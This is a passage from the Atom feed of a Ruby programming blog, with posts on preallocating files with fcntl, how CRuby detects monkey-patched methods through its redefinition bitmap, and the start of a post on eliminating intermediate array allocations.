&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; fmt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;pack(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;LlQQQ&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;File&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foo&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;) { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;fd&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fd&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fcntl(&lt;span style=&#34;color:#66d9ef&#34;&gt;Fcntl&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;F_PREALLOCATE&lt;/span&gt;, bytes)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fd&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;truncate size
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you run this script, you&amp;rsquo;ll find a file named &amp;ldquo;foo&amp;rdquo; with the size 1234.
For this code to work, you&amp;rsquo;ll need to be on macOS, and using &lt;a href=&#34;https://github.com/ruby/fcntl/pull/30&#34;&gt;this branch&lt;/a&gt; of the fcntl gem (though hopefully my patch will make it upstream and you can just use the fcntl gem).&lt;/p&gt;
&lt;p&gt;I tried implementing this as a performance optimization, but unfortunately the performance optimization didn&amp;rsquo;t work out, so I&amp;rsquo;m probably not going to use this code IRL.
Rather than leaving the code to rot on my computer, I figured I&amp;rsquo;d make a blog post so at least people can search for it, or I can train the LLMs in my image (lol).&lt;/p&gt;
&lt;p&gt;Anyway, thanks for reading my very niche content!
Have a good day!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Monkey Patch Detection in Ruby</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2024/10/16/monkey-patch-detection-in-ruby/"/>
    <id>https://tenderlovemaking.com/2024/10/16/monkey-patch-detection-in-ruby/</id>
    <published>2024-10-16T16:13:00-07:00</published>
    <updated>2024-10-16T16:13:00-07:00</updated>
    <content type="html">&lt;p&gt;&lt;a href=&#34;https://tenderlovemaking.com/2024/09/29/eliminating-intermediate-array-allocations/&#34;&gt;My last post&lt;/a&gt; detailed one way that CRuby will eliminate some intermediate array allocations when using methods like &lt;code&gt;Array#hash&lt;/code&gt; and &lt;code&gt;Array#max&lt;/code&gt;.
Part of the technique hinges on detecting when someone monkey patches array.
Today, I thought we&amp;rsquo;d dive a little bit in to how CRuby detects and de-optimizes itself when these &amp;ldquo;important&amp;rdquo; methods get monkey patched.&lt;/p&gt;
&lt;h2 id=&#34;monkey-patching-problem&#34;&gt;Monkey Patching Problem&lt;/h2&gt;
&lt;p&gt;The optimization in the previous post made the assumption that the implementation &lt;code&gt;Array#max&lt;/code&gt; was the original definition (as defined in Ruby itself).
But the Ruby language allows us to reopen classes, redefine any methods we want, and that those methods will &amp;ldquo;just work&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;For example, if someone were to reopen &lt;code&gt;Array&lt;/code&gt; and define a new &lt;code&gt;max&lt;/code&gt; method, we would need to respect that monkey patch:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;max&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;puts &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; &amp;#34;hello!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In fact, a monkey patch implementation could mutate the array itself, so we&amp;rsquo;re definitely required to allocate an array in the case that someone added their own &lt;code&gt;max&lt;/code&gt; method:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;max&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    self &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;:neat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    self
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;].&lt;/span&gt;max
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p x &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; [1, 2, :neat]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So how does CRuby detect that a method has been monkey patched?&lt;/p&gt;
&lt;h2 id=&#34;method-definition-time&#34;&gt;Method Definition Time&lt;/h2&gt;
&lt;p&gt;Every time a method is defined, an entry is stored in a hash table pointed to by the current class.
We call this the &amp;ldquo;method table&amp;rdquo;, but you&amp;rsquo;ll see it referred to as &lt;code&gt;M_TBL&lt;/code&gt; or &lt;code&gt;RCLASS_M_TBL&lt;/code&gt; &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/vm_method.c#L999&#34;&gt;in the code&lt;/a&gt;.
The key to the hash is simply the method name as an &lt;code&gt;ID&lt;/code&gt; type (an integer which represents a Ruby &lt;code&gt;Symbol&lt;/code&gt;), and the value of the hash is a method entry structure.
If there was already an entry in the table, then we know it&amp;rsquo;s a &amp;ldquo;redefinition&amp;rdquo; (a.k.a. &amp;ldquo;monkey patch&amp;rdquo;), and we end up calling &lt;code&gt;rb_vm_check_redefinition_opt_method&lt;/code&gt; &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/vm_method.c#L1007&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rb_vm_check_redefinition_opt_method&lt;/code&gt; checks to see if this is a method we &amp;ldquo;care&amp;rdquo; about.
Methods we &amp;ldquo;care&amp;rdquo; about are typically ones where we&amp;rsquo;ve made some kind of optimization and we need to deoptimize if someone redefines them.&lt;/p&gt;
&lt;p&gt;If the redefined method is something we care to detect, then we set a flag in a global variable &lt;code&gt;ruby_vm_redefined_flag&lt;/code&gt;, which is an array of integers.&lt;/p&gt;
&lt;p&gt;The indexes of the &lt;code&gt;ruby_vm_redefined_flag&lt;/code&gt; array correspond to &amp;ldquo;basic operators&amp;rdquo;, or BOPs.
So for example, the 0th element is for &lt;code&gt;BOP_PLUS&lt;/code&gt;, the 1th element is &lt;code&gt;BOP_MINUS&lt;/code&gt;, etc.
You can see the full list of basic operators &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/internal/basic_operators.h#L8-L42&#34;&gt;here&lt;/a&gt;.
These basic operators correspond to &lt;em&gt;method names that we care about&lt;/em&gt;.
So if someone monkey patches the &lt;code&gt;+&lt;/code&gt; operator, we&amp;rsquo;ll set a flag in &lt;code&gt;ruby_vm_redefined_flag[BOP_PLUS]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The values of the &lt;code&gt;ruby_vm_redefined_flag&lt;/code&gt; array correspond to a bitmap that maps to &lt;em&gt;classes&lt;/em&gt; we care about.
You can see the list of classes and their corresponding bits &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/internal/basic_operators.h#L47-L60&#34;&gt;here&lt;/a&gt;, as well as a function for mapping &amp;ldquo;classes we care about&amp;rdquo; &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/vm.c#L2079-L2097&#34;&gt;to their corresponding bit flag&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For example, if someone monkey patches &lt;code&gt;Array#pack&lt;/code&gt;, we would set a bit in &lt;code&gt;ruby_vm_redefined_flag&lt;/code&gt; like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ruby_vm_redefined_flag[BOP_PACK] &lt;span style=&#34;color:#f92672&#34;&gt;|=&lt;/span&gt; ARRAY_REDEFINED_OP_FLAG;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, when we execute our optimized instruction (&lt;code&gt;opt_newarray_send&lt;/code&gt; which was introduced in the last post), we can check the bitmap to decide whether or not to take our fast path:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((ruby_vm_redefined_flag[BOP_PACK] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; ARRAY_REDEFINED_OP_FLAG) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// It _hasn&amp;#39;t_ been monkey patched, so take the fast path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// It _has_ been monkey patched, do the slow path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Of course this bitmask checking is wrapped in a macro that looks more like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;BASIC_OP_UNREDEFINED_P&lt;/span&gt;(BOP_PACK, ARRAY_REDEFINED_OP_FLAG)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// It _hasn&amp;#39;t_ been monkey patched, so take the fast path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;// It _has_ been monkey patched, do the slow path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can see the actual code for &lt;code&gt;Array#pack&lt;/code&gt; redefinition checking &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/vm_insnhelper.c#L6238&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;bonus-stuff&#34;&gt;Bonus Stuff&lt;/h2&gt;
&lt;p&gt;A cool thing (at least I think it&amp;rsquo;s cool) is that the function &lt;code&gt;rb_vm_check_redefinition_opt_method&lt;/code&gt; not only sets up the &amp;ldquo;monkey patch detection&amp;rdquo; bits, it&amp;rsquo;s also a natural place to inform the JIT compiler that someone has done something catastrophic and that it should de-optimize.  In fact, you can see those calls &lt;a href=&#34;https://github.com/ruby/ruby/blob/87be381bbb7c2d4501942124e9851a2a9e1a07a2/vm.c#L2146-L2147&#34;&gt;right here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A weird thing is that since &lt;code&gt;ruby_vm_redefined_flag&lt;/code&gt; is just a list bitmaps, it&amp;rsquo;s technically possible for us to track the definition of &lt;code&gt;Integer#pack&lt;/code&gt; even though that method doesn&amp;rsquo;t exist:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ruby_vm_redefined_flag[BOP_PACK] &lt;span style=&#34;color:#f92672&#34;&gt;|=&lt;/span&gt; INTEGER_REDEFINED_OP_FLAG;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I guess that means there&amp;rsquo;s a lot of bit space that isn&amp;rsquo;t used, but I don&amp;rsquo;t really think it&amp;rsquo;s a big deal.&lt;/p&gt;
&lt;p&gt;Anyway, have a good day!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Eliminating Intermediate Array Allocations</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2024/09/29/eliminating-intermediate-array-allocations/"/>
    <id>https://tenderlovemaking.com/2024/09/29/eliminating-intermediate-array-allocations/</id>
    <published>2024-09-29T19:06:28-07:00</published>
    <updated>2024-09-29T19:06:28-07:00</updated>
    <content type="html">&lt;p&gt;Recently I gave a talk at &lt;a href=&#34;https://rubyonrails.org/world/2024&#34;&gt;RailsWorld&lt;/a&gt; (hopefully they&amp;rsquo;ll post the video soon), and part of my presentation was about eliminating allocations in tokenizers.
I presented a simple function for measuring allocations:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;allocations&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  x &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;GC&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;stat(&lt;span style=&#34;color:#e6db74&#34;&gt;:total_allocated_objects&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;yield&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;GC&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;stat(&lt;span style=&#34;color:#e6db74&#34;&gt;:total_allocated_objects&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; x
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Everything in Ruby is an object, but not all objects actually make allocations.
We can use the above function to measure allocations made in a block.
Here are some examples of code that never allocate:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt; }                  &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt; }                 &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt; }                   &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#e6db74&#34;&gt;:hello&lt;/span&gt; }                &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; }                     &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt; }                   &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFFFF_FFFF_FFFF_FFFF&lt;/span&gt; } &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Literals like booleans, nil, symbols, integers, and floats are represented internally to CRuby as &amp;ldquo;tagged pointers&amp;rdquo; and they don&amp;rsquo;t allocate anything when executed.&lt;/p&gt;
&lt;p&gt;Here is an example of code that sometimes allocates:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Depends on the size of the number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; }                     &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#ae81ff&#34;&gt;0x3FFF_FFFF_FFFF_FFFF&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; } &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Depends on `frozen_string_literal`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;hello!&amp;#34;&lt;/span&gt; }                  &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 0 or 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Math on integers generally doesn&amp;rsquo;t allocate anything, but it depends on the integer.
When a number gets large enough, CRuby will allocate an object to represent that number.
On 64 bit platforms, the largest whole number we can represent without allocating is 0x3FFF_FFFF_FFFF_FFFF.&lt;/p&gt;
&lt;p&gt;String literals will sometimes allocate, but it depends on the &lt;code&gt;frozen_string_literal&lt;/code&gt; setting in your program.&lt;/p&gt;
&lt;p&gt;Here is an example of code that always allocates:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; }      &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { { &lt;span style=&#34;color:#e6db74&#34;&gt;a&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt; } }   &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#66d9ef&#34;&gt;Object&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new }  &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p allocations { &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;foo&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; } &lt;span style=&#34;color:#75715e&#34;&gt;# =&amp;gt; 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hopefully these examples are fairly straightforward.
Arrays, hashes, objects, string slices, etc will allocate an object.&lt;/p&gt;
&lt;h2 id=&#34;eliminating-intermediate-array-allocations&#34;&gt;Eliminating Intermediate Array Allocations&lt;/h2&gt;
&lt;p&gt;At the &lt;a href=&#34;https://rubyonrails.org/world/2024/day-2/closing-party&#34;&gt;Shopify after-party at RailsWorld&lt;/a&gt;, someone asked me a really great question.
Their codebase has a RuboCop rule that says that when doing min or max calculations, you should always have code like this:&lt;/p&gt;
